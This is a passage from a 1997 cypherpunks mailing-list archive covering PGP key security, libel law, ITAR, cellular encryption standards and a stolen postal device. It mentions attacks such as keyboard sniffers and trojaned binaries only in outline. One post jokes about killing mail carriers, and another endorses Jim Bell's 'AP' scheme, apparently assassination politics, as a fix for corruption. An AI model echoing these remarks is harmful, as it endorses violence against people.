# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 1 Feb 1997 15:57:34 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Key Security Question
Message-ID: <199702012357.PAA00605@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen writes:
> At 10:41 AM 1/31/97 -0800, Z.B. wrote:
> >My computer went into the shop a few days ago, and I was unable to take
> >my PGP keys off it before it went in.  What are the security risks here?
> >If the repairman chooses to snoop through the files, what would he be
> >able to do with my key pair?  Will I need to revoke the key and make a
> >new one, or will I be relatively safe since he doesn't have my
> >passphrase?
> 
> Depends on how guessable your passphrase is.  If you use something that would
> fall to a dictionary attack, then you are vulnerable.  (Providing that they
> actually looked for your keyring and made a copy.)
> 
> If you had nyms on your keyring, then those nyms can be associated with your
> "true name" with no passphrase required.  (Unless you keep your keyring
> encrypted. Private Idaho supports encrypted keyrings, but little else does.)

Other attacks would be installing a keyboard sniffer, replacing your
PGP binary with a trojan that records your passphrase, etc.
This sort of stuff is quite possible but not likely.  Yet.
 
> If you are really concerned about it, you could learn to do your own computer
> repairs.

Or put your PGP keys on removeable media.

-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 1 Feb 1997 10:55:47 -0800 (PST)
To: pete@idaho.ubisg.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702011855.KAA23264@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 1 Feb 1997, Peter J. Capelli wrote:

> 	You mean to say, rich people can overcrowd the courts as much as they
> like, while others are restricted by contigency-only lawyers ( Call 
> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
> control
> a poor one with many frivolous lawsuits ... while they can afford to file 
> lawsuit after lawsuit, the poor person cannot defend himself.

What, exactly, would be the point of suing a poor person?


Mark






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 1 Feb 1997 16:10:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Junger web site
Message-ID: <199702020010.QAA01056@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


PJ sent me his web site which others may be interested in,
with pointers to Karn and Bernstein:

http://samsara.law.cwru.edu/comp_law/crypto_export/

so, essentially, there are now 3 pretty significant cases
challenging ITAR on constitutional grounds, which I find
highly encouraging. of course the Bernstein case has already
had very positive results so far.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 1 Feb 1997 16:11:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel, Times v. Sullivan
Message-ID: <199702020011.QAA01095@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone (Igor?) suggested I said that libel can't be criminalized. I don't
think that's correct, but I may have been unclear. I haven't researched the
question and can't call to mind a case directly on point, but my hunch is
that states may criminalize libel, but a conviction would require that the
state prove, beyond a reasonable doubt (because it's a criminal case), and
that the defendant acted with actual malice (because the state is seeking
to punish speech, and punitive damages in civil cases require proving
actual malice). "Actual malice" means that the defendant said something
s/he knew was untrue or recklessly disregarded the truth of what s/he said.
(This excludes, for example, an "honest mistake" about what's true.) _Times
v. Sullivan_, the case which introduced the actual malice standard,
discussed Alabama's criminal libel statute - so the Supreme Court, in the
mid 60's, didn't seem to have a problem with criminalizing libel. I can't
seem to find a criminal libel statute in California; and if I remember
correctly the Oregon Legislature contemplated but did not pass one during
its last legislative session. 

Also, people interested in _Times v. Sullivan_ and the interplay between
defamation and the First Amendment might find "Make No Law: The Sullivan
Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of
interest. The decision itself is online at
<http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=376&invol
=254> - the factual summary of the Sullivan case posted here was not
correct, and the first few pages of the opinion provide a description of
the underlying facts.

Since we've now got Jim Bell arguing that it's obvious that a free and open
society must tolerate anything which might be defamatory, and Jim Choate
arguing that it's obvious that a free and open society cannot tolerate
anything which might be defamatory, I think I'm going to wander away from
this discussion confident that the answer is, at least, nonobvious. :)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 1 Feb 1997 16:11:04 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <199702020011.QAA01078@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto, quoting the Cyphernomicon

3.5.1 Contrary to what people sometimes claim, there is no ruling
       clique of Cypherpunks. Anybody is free to do nearly anything,
       just not free to commit others to course of action, or claim
       to speak for the "Cypherpunks" as a group (and this last
       point is unenforceable except through reputation and social
       repercussions).
.........................................................................

Toto, I'm surprised at how seriously you take the underlying anarchist 
philosophy of the list; you identify so closely with it, and have responded 
to its moderation as though it really would be "the end of freedom", even 
though you seem to have appeared, or else come out of lurking, only 
recently.   Is this because you value anarchy, or free speech, or the 
existence of the Cypherpunks as a unique group of stray cats [ :>) ]?


Side note:
Since Tim isn't on the list and hasn't been for a month, I've been 
wondering if it had anything to do with the moderation experiment, although 
it is unlike him to have left without either an argument or at least some 
kind of statement about it.

    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven Bellovin <smb@research.att.com>
Date: Sat, 1 Feb 1997 15:55:53 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: PCS Encryption?
Message-ID: <199702012355.PAA00552@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	 Many low-level phone company people don't know from encryption,
	 and consider just being digital to be enough to satisfy their
	 market's demand for privacy :-(  On the other hand, if they're
	 telling the truth that the FBI had somebody's cellphone shut down
	 because they couldn't wiretap it, that's pretty outrageous,
	 and would seem to constitute a "taking".

And an illegal wiretap besides, most likely -- with a warrant, they could
simply put the tap at the base station.  The story may be true, but it
doesn't sound quite right to me.

I recently got a TDMA phone (a Nokia 2160), which is capable of doing
some sort of encryption, though I'm not sure what algorithm.  It doesn't
always encrypt even when in digital mode (it can handle AMPS, too), but
there's a configuration option to tell the user whether or not encryption
is in use.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 1 Feb 1997 16:25:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Crypto in New Zealand - an update
Message-ID: <199702020025.QAA01481@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:03 AM 2/2/97, pgut001@cs.auckland.ac.nz wrote:
[...]
>The following week Andrew Mayo wrote a letter to the editor of the NBR
>containing an eloquent defense of the use of encryption to protect personal
>privacy.  MFAT replied to say that they were only following orders, and were
>required by the Wassenaar agreement to restrict crypto exports:
[...]

Just for clarification, it is the Wassenaar *arrangement* (somehow the term
is more fitting anyway...) and it does *not* require the signatory
countries to implement crypto export controls.

Not that this will make any difference, since it would be the first time
that a government would allow facts to stand in the way of politics.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 1 Feb 1997 15:59:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on Cellular Encryption Docs
Message-ID: <199702012359.PAA00661@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's more on the controlled documents for cellular encryption
from TIA/EIA we described in a 26 January post to cpunks:

Sharon Vargish of TIA (1-703-907-7702) sent the documents after=20
I signed and returned the NDA:

   TR45.0.A
   Common Cryptographic Algorithms, Revision B
   June 21, 1995, 72 pp. (With ITAR notice on every page)

   TR45.0.A
   Interface Specification for Common Cryptographic Algorithms,
   Revision B, August 6, 1996, 15 pp. (No ITAR notice, but=20
   "sensitive information should be protected from general=20
   distribution.")

   TR45
   Appendix A to PN-3474 (IS-36)
   October 16, 1995, 10 pp. (ITAR notice on every page.)

   TR45
   Appendix-A to TIA/EIA 627
   December 23, 1996, 7 pp. (No ITAR, but "sensitive"notice)

"Common Cryptographic Algorithms" (CCA) supercedes the 1992=20
CAVE document, but is considerbly longer -- 72 pp. for the latest
compared to 25 pp. for the 1992 version.

Here're the CCA's TOC and Introduction:

Table of Contents

1. Introduction=20
  =A01.1. Notations=20
=A0 =A01.2. Definitions=20

2. Procedures=20

=A0 =A02.1. Authentication Key (A-Key) Procedures
=A0 =A0 =A0 =A0 2.1.1. A-Key Checksum calculation  =A0 =A0 =A0 =A0 =A0=20
        2.1.2. A-Key Verification

=A0 =A02.2. SSD Generation and Update
=A0 =A0 =A0 =A0 2.2.1. SSD Generation Procedure  =A0 =A0 =A0 =A0 =A0=20
        2.2.2. SSD Update Procedure

=A0 =A02.3. Authentication Signature Calculation Procedure

=A0 =A02.4. Encryption Key and VPM Generation Procedure
=A0 =A0 =A0 =A0 2.4.1. CMEA key Generation  =A0 =A0 =A0 =A0 =A0=20
        2.4.2. Voice Privacy Mask Generation

=A0 =A02.5. CMEA Encryption/Decryption Procedure

=A0 =A02.6. Wireless Residential Extension Procedures
=A0 =A0 =A0 =A0 2.6.1. WIKEY Generation  =A0 =A0 =A0 =A0 =A0=20
        2.6.2. WIKEY Update Procedure  =A0 =A0 =A0 =A0 =A0=20
        2.6.3. Wireline Interface Authentication Signature=20
               Calculation Procedure  =A0 =A0 =A0 =A0 =A0=20
        2.6.4. Wireless Residential Extension Authentication=20
               Signature Calculation Procedure

=A0 =A02.7. Cellular Data Encryption=20
=A0 =A0 =A0 =A0 2.7.1. Data Encryption Key Generation Procedure  =A0 =A0 =
=A0 =A0 =A0=20
        2.7.2. Data Encryption Mask Generation Procedure

3. TEST VECTORS

=A0 =A03.1. CAVE Test Vectors
=A0 =A0 =A0 =A0 3.1.1. Vector 1 =A0 =A0 =A0 =A0 =A0=20
        3.1.2. Vector 2  =A0 =A0 =A0 =A0 =A0=20
        3.1.3. Test Program

=A0 =A03.2. Wireless Residential Extension Test Vectors
 =A0 =A0 =A0  3.2.1. Input data  =A0 =A0 =A0 =A0 =A0=20
        3.2.2. Test program  =A0 =A0 =A0 =A0 =A0=20
        3.2.3. Test Program Output

=A0 =A03.3. Data Encryption Test Vector
=A0 =A0 =A0 =A0 3.3.1. Input data  =A0 =A0 =A0 =A0 =A0=20
        3.3.2. Test Program  =A0 =A0 =A0 =A0 =A0=20
        3.3.3. Test Program Output
 =20
1. Introduction

This document describes detailed cryptographic procedures for=20
cellular system applications. These procedures are used to=20
perform the security services of mobile station authentication,=20
subscriber message encryption, and encryption key and subscriber=20
voice privacy key generation within cellular equipment.

This document is organized as follows:

=A72 describes the Cellular Authentication, Voice Privacy and=20
Encryption (CAVE) algorithm used for authentication for mobile=20
subscriber equipment and for generation of cryptovariables to=20
be used in other procedures.

=A72.1 describes the procedure to verify the manual entry of the=20
subscriber authentication key (A-key).

=A72.2 describes the generation of intermediate subscriber=20
cryptovariablcs, Shared Secret Data (SSD), from the unique and=20
private subscriber A-key.

=A72.3 describes the procedure to calculate an authentication=20
signature used by cellular base station equipment for verifying=20
the authenticity of a mobile station.

=A72.4 describes the procedures used for generating cryptographic=20
keys. These keys include the Voice Privacy Mask (VPM) and the=20
Cellular Message Encryption Algorithm (CMEA) key. Thc VPM is used=20
to provide forward link and reverse link voice confidentiality=20
over the air interface. Thc CMEA key is used with the CMEA=20
algorithm for protection of digital data exchanged between the=20
mobile station and the base station.

=A72.5 describes the Cellular Message Encryption Algorithm (CMEA)=20
used for enciphering and deciphering subscriber data exchanged=20
between the mobile station and the base station.

=A72.6 describes the procedures for key and authentication=20
signature generation for wireless residential extension=20
applications.

=A72.7 describes the ORYX algorithm and procedures for key and mask=20
generation for encryption and decryption in cellular data services.

=A73 provides test data (vectors) that may be employed to verify=20
the correct operation of the cryptographic algorithms described=20
in this document. ...

[End CCA Introduction]

The related CCA Interface Specification "describes the interfaces
to cryptographic procedures for cellular system applications"
described in the CCA. Its purpose "is to describe the cryptographic
functions without revealing the technical details that are subject
to" ITAR.

The two Appendices A to IS-136 and 627 "contain requirements for=20
message encryption and voice privacy for cellular systems"=20
supplemental to those described in the main documents, the CCA and=20
the CCA Interface Specs.

-----

This note will be put with other CAVE info at:

   http://jya.com/cave.htm

Thanks to TIA/EIA for prompt and courteous reply to our requests. Maybe
they welcome help persuading USG/NSA to allow stronger crypto and
boost the market for cellular systems.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Sat, 1 Feb 1997 16:12:44 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702020012.QAA01104@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On  1 Feb 97 at 9:39, Duncan Frissell wrote:

> Mail Storage Box keys?

I think they use combination locks, actually. Supposedly it's the same
combination nationally too.

There was an article in 2600 Magazine about that. The locks are 
actually 'insecure' and you can test every possible combo in about
10-20 minutes.

- --Rob

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvPFpgTNlSxdPy6ZAQF7QAf+IFPhGavlD7p5WFsmhESHi+PKd9msqYhN
pxl8ZdUZMDJg61F6nLF4Oa7rfoCmzDXqP4w0WU1pk8MkkwwVb9oTTJg2k4hY4AKr
IixesiAcDlGc9+11314Nao+PuU6epJYmLddGSIc0Ra3FKrqamyueW6qunsJQT1Z6
5E/BiqpEGAiEGqog9J/xXtSra4q9g1SzrMCGcR5z077gCzb5ONxIgWzQ6zlL0leb
X1Y9pzABnm1iJbq7Q2HRAVAQVBiPC/vg+hW8COfao4XHGqsqVg2UBcZWT8TdbV4N
cwqVw5fDpoZXPyQtzRynmq55xH4OIJWZ2HnNNK3KHdRcyS+JW24MBQ==
=oAVd
-----END PGP SIGNATURE-----

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 18:29:37 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702020229.SAA04759@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:52 PM 2/1/97 -0500, Mark M. wrote:
>On Sat, 1 Feb 1997, Peter J. Capelli wrote:
>
>> 	You mean to say, rich people can overcrowd the courts as much as they
>> like, while others are restricted by contigency-only lawyers ( Call 
>> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
>> control
>> a poor one with many frivolous lawsuits ... while they can afford to file 
>> lawsuit after lawsuit, the poor person cannot defend himself.
>
>What, exactly, would be the point of suing a poor person?

To quiet him from political dissent, presumably.  I think the term coined a 
few years ago was "SLAPP", something akin to "Strategic Lawsuit Against 
Public Policy," or similar.  

For example, "Company A" wants to build a mine or factory or something 
similar at a location.  Citizens object, causing political problems.  
Company sues the individuals for damages, which costs the individuals a 
great deal of money to defend against even if they never lose the suit.

The real problem is actually a series of mistakes:

1.  Individual should not be able to cause political problems for company.

2.  "Government" should not be able to impact company activities short of 
actual harm.

3.  Company should not be able to impact individual by suing except for 
actual harm done by that individual.


Naturally, the source of these problems is that by each of their existence, 
lawyers make more money.


As usual, I have a solution to that problem.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 19:25:59 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702020325.TAA06428@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> 3.5.1 Contrary to what people sometimes claim, there is no ruling
>        clique of Cypherpunks. Anybody is free to do nearly anything,
>        just not free to commit others to course of action, or claim
>        to speak for the "Cypherpunks" as a group (and this last
>        point is unenforceable except through reputation and social
>        repercussions).
> 3.6.3 "Why isn't the list moderated?"
>       ...hardly consistent with many of our anarchist leanings, is it?
>       - "No, please, let's not become a 'moderated' newsgroup. This
>       would be the end of freedom!

Is this why T.C. May hasn't posted in quite a while?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 19:26:02 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702020326.TAA06429@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:10 PM 2/1/97 -0500, John Young wrote:
>Here's more on the controlled documents for cellular encryption
>from TIA/EIA we described in a 26 January post to cpunks:
...
>   TR45.0.A
>   Common Cryptographic Algorithms, Revision B
>   June 21, 1995, 72 pp. (With ITAR notice on every page)

Of course, ITAR as recently modified says it's ok to send this
stuff overseas to foreigners, as long as it's on paper.
There may be separate restrictions on sending it, or on copying,
but they're based on copyright or contractual non-disclosure.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 19:26:04 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702020326.TAA06430@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto, quoting the Cyphernomicon
> 3.5.1 Contrary to what people sometimes claim, there is no ruling
>        clique of Cypherpunks. Anybody is free to do nearly anything,
>        just not free to commit others to course of action, or claim
>        to speak for the "Cypherpunks" as a group (and this last
>        point is unenforceable except through reputation and social repercussions).

> Toto, I'm surprised at how seriously you take the underlying anarchist
> philosophy of the list; you identify so closely with it, and have responded
> to its moderation as though it really would be "the end of freedom", even
> though you seem to have appeared, or else come out of lurking, only
> recently.   Is this because you value anarchy, or free speech, or the
> existence of the Cypherpunks as a unique group of stray cats [ :>) ]?
> Side note: Since Tim isn't on the list and hasn't been for a month, I've been
> wondering if it had anything to do with the moderation experiment, although
> it is unlike him to have left without either an argument or at least some
> kind of statement about it.

Maybe Tim's Last Words got "lost", eh?  So far, several people have
stated that "it could happen".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 18:26:15 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702020226.SAA04649@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
 
> >>>Postal Service offers $25,000 reward for stolen . . . something
 
> I was also guessing keys - truck keys are a less subtle target than
> box storage keys, and telling every thug in the country that
> mail trucks are an easy target, just take the keys from the carrier,
> seems almost worth sounding really stupid in public to avoid.
> They did say that it wasn't something they carried in their pockets,
> but do mail carriers hang their keys on their belts?

  Mail carriers in some areas carry keys for buildings with security
doors (sometimes Master keys).
  Or perhaps they've taken over the CIA's crack distribution route.

  Is anyone on the list willing to 'knock off' a couple of mail
carriers and get back to us with a definitive answer on this?
 (Doesn't this kind of thing fall under the moderator's job
description?)

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 19:40:45 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702020340.TAA06830@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:51 PM 2/1/97 -0800, you wrote:
>  Is anyone on the list willing to 'knock off' a couple of mail
>carriers and get back to us with a definitive answer on this?

We were joking about this last night - this is just encouraging
people to hold up mail carriers and say "Hand it over!"
"Hand over what?" "You, know, the thingie" "What thingie?" 
"The one they steal from mailmen in Miami" "You mean this?"
"No, it wouldn't be one of them, not worth enough"
"How about one of these?" "Maybe, but that's probably not it"
"My mailbag?" "No, that's too obvious."
"ID card?" "No, you don't look enough like me"
"Dog repellent?" "No, that's kind of smelly*"

Of course, as Toto suggested, it could be just that the 
carriers are delivering dope on the side, or maybe they're
stealing the mail carriers' shirts to complete their
disgruntled postal workers' costumes.

	[*"Cheshire perhaps?" "No, we're all out of that"...]


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 19:40:45 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Libel, Times v. Sullivan
Message-ID: <199702020340.TAA06831@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:52 PM 2/1/97 -0800, Greg Broiles wrote:

>Also, people interested in _Times v. Sullivan_ and the interplay between
>defamation and the First Amendment might find "Make No Law: The Sullivan
>Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of
>interest. The decision itself is online at
><http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=376&invol
>=254> - the factual summary of the Sullivan case posted here was not
>correct, and the first few pages of the opinion provide a description of
>the underlying facts.
>
>Since we've now got Jim Bell arguing that it's obvious that a free and open
>society must tolerate anything which might be defamatory, and Jim Choate
>arguing that it's obvious that a free and open society cannot tolerate
>anything which might be defamatory, I think I'm going to wander away from
>this discussion confident that the answer is, at least, nonobvious. :)

Your last paragraph looks like an exercise of the silly game the TV show "60 
minutes" producers often play when they read the letters from the audience 
about a previous report on a controversial subject.  They first read a 
letter from an outraged viewer who claims that the TV show's producers must 
have been biased in one direction, and then they read another letter from a 
different viewer who alleges they showed a bias in the opposite direction.  
The show is trying to leave you with the impression that they MUST have been 
unbiased, because they are being accused of diametrically opposite leanings.

All they are really showing is that given the hundreds and probably 
thousands of letters they receive on each show weekly (which are, by 
definition, written by self-motivated people) they can get at least one on 
each end of the spectrum for whatever subject they've just covered.   Not 
surprising.   (If anything, I'd be surprised if they ever DON'T recieve at 
least two such letters which could be misused in this way...)

So before you "wander away," perhaps you ought to explain why we NEED 
defamation laws?  The sun would still rise tomorrow morning absent them.  A 
few feelings might be hurt, that's true, but on the other hand the implied 
endorsement of The State ("If that statement wasn't true, he couldn't print 
it!") has a, cumulatively, far greater impact on all of us.

A clue is present in the likely fact that the origins of defamation laws 
were primarily to keep the king and the upper-crust free of printed and 
verbal attack directed by the lower-classes, even given the presence of 
whatever nominal "free-speech" guarantees were present.  Explain, for 
example, that while it is now universally recognized by the truth is a 
defense for libel accusations, it was NOT true when William Penn went on 
trial for libel in the late 1600's.






Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 19:42:25 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Free & Open Society & toleration
Message-ID: <199702020342.TAA06926@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> It has been asserted that I am claiming that a free and open society should
> not abide any and all actions in contrast to Jim Bell's assertion that a
> free and open society must tolerate any action.
> This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
> ECONOMIC system must have some minimum standards on what is allowed. By no
> means do I hold that the ONLY means of a free and open society is a democracy.
> It is quite possible to have an anarchy which would also be a free and open
> society and by DEFINITION would tolerate any action by its members acting
> individualy or in concert.

[snip]

Nobody has a problem with your ideals, it's just that Jim Bell is
trying to say (correct me and forgive me if I'm wrong) that:

1. Society will never subscribe to your ideals.
2. Society is not static, i.e., instead of remaining at a constant
   level of corruption, the officials will keep demanding more,
   until there's a sudden, catastrophic break.
3. The AP solution has the potential to stabilize the level of
   corruption, which should make violent revolutions and genocide
   unnecessary.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 18:29:29 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Crypto in New Zealand - an update
Message-ID: <199702020229.SAA04751@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote: 
> At 06:03 AM 2/2/97, pgut001@cs.auckland.ac.nz wrote:
> [...]
> >The following week Andrew Mayo wrote a letter to the editor of the NBR
> >containing an eloquent defense of the use of encryption to protect personal
> >privacy.  MFAT replied to say that they were only following orders, and were
> >required by the Wassenaar agreement to restrict crypto exports:
> [...]

  MFAT doesn't put crypto in the ovens, they just turn on the gas.
 
> Just for clarification, it is the Wassenaar *arrangement* (somehow the term
> is more fitting anyway...) and it does *not* require the signatory
> countries to implement crypto export controls.
 
> Not that this will make any difference, since it would be the first time
> that a government would allow facts to stand in the way of politics.

  ...or allow 'citizens' to stand in the way of politics.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 1 Feb 1997 18:30:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free & Open Society & toleration
Message-ID: <199702020230.SAA04826@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

It has been asserted that I am claiming that a free and open society should
not abide any and all actions in contrast to Jim Bell's assertion that a
free and open society must tolerate any action.

This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
ECONOMIC system must have some minimum standards on what is allowed. By no
means do I hold that the ONLY means of a free and open society is a democracy.
It is quite possible to have an anarchy which would also be a free and open
society and by DEFINITION would tolerate any action by its members acting 
individualy or in concert.

I hold that for a democratic society to retain concepts of freedom and
equity under the law as well as be economicaly viable, especialy in an
environment where 'reputation' is critical such as a network over which
economic transactions can take place with nothing more than a email order
and a EFT, must not provide ex post facto AND carte blanche protection of
the speech of the citizens. For such a system to operate requires a
'reputation' system to be in place. For such a system to be viable it MUST
protect those reputations otherwise the concept of a 'contract' is
worthless. I DO hold that this system MUST provide a priori protection of
all speech. I further hold that any distinction between the 'government'
and the people of a nation is a false and misleading distinction which is
not in the best interest of the society because it by DEFINITION promotes a
class society which is by definition contrary to the goal of equity under a
democracy. It further provides a mechanism by which the representatives of
the 'state' may claim immunity from the very standards they are charged with
enforcing. This is because the charter of such a society is itself simply a
contract between any arbitrary individual of that society and the sum total
of the remaining citizenry (ie the 'state').

I further hold that one of the current legal practices based on precidence
which MUST be replaced is our system dealing with defamation. I further hold
that our current system of legal representation is inherently  flawed and
prevents equal representation under the law.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com

            





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 2 Feb 1997 01:40:41 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <199702020940.BAA15580@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>        What the US government will allow to be exported is not "strong
>encryption."  It is encryption only slightly too strong to be broken
>by an amateur effort.  For the right investment in custom hardware, it
>falls quickly.  (500,000 $US = 3.5 hour avg break).
>

Considering Ian's feat you certainly seem to have had your crystal ball in hand.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lesher <wb8foz@nrk.com>
Date: Sat, 1 Feb 1997 18:29:27 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702020229.SAA04750@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Rothenburg 'Walking-Owl' sez:
> 
> 
> > Mail Storage Box keys?
> 
> I think they use combination locks, actually. Supposedly it's the same
> combination nationally too.
> 
> There was an article in 2600 Magazine about that. The locks are 
> actually 'insecure' and you can test every possible combo in about
> 10-20 minutes.

I think you are confusing USPS and FedEx.

USPS uses key locks seemingly designed by Ben Franklin himself.
Look at them someday. FedEx boxes used to have Simplex 926 
5 pushbutton ""locks"" if you stretch the point.

I'm guessing what they lost was a reloader for postage meters.


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott <scott-b@ix.netcom.com>
Date: Sun, 2 Feb 1997 01:56:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keystroke sniffer question
Message-ID: <199702020956.BAA16025@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


How can you detect if there is a keystroke sniffer on your computer.

Is there a file name to look for?

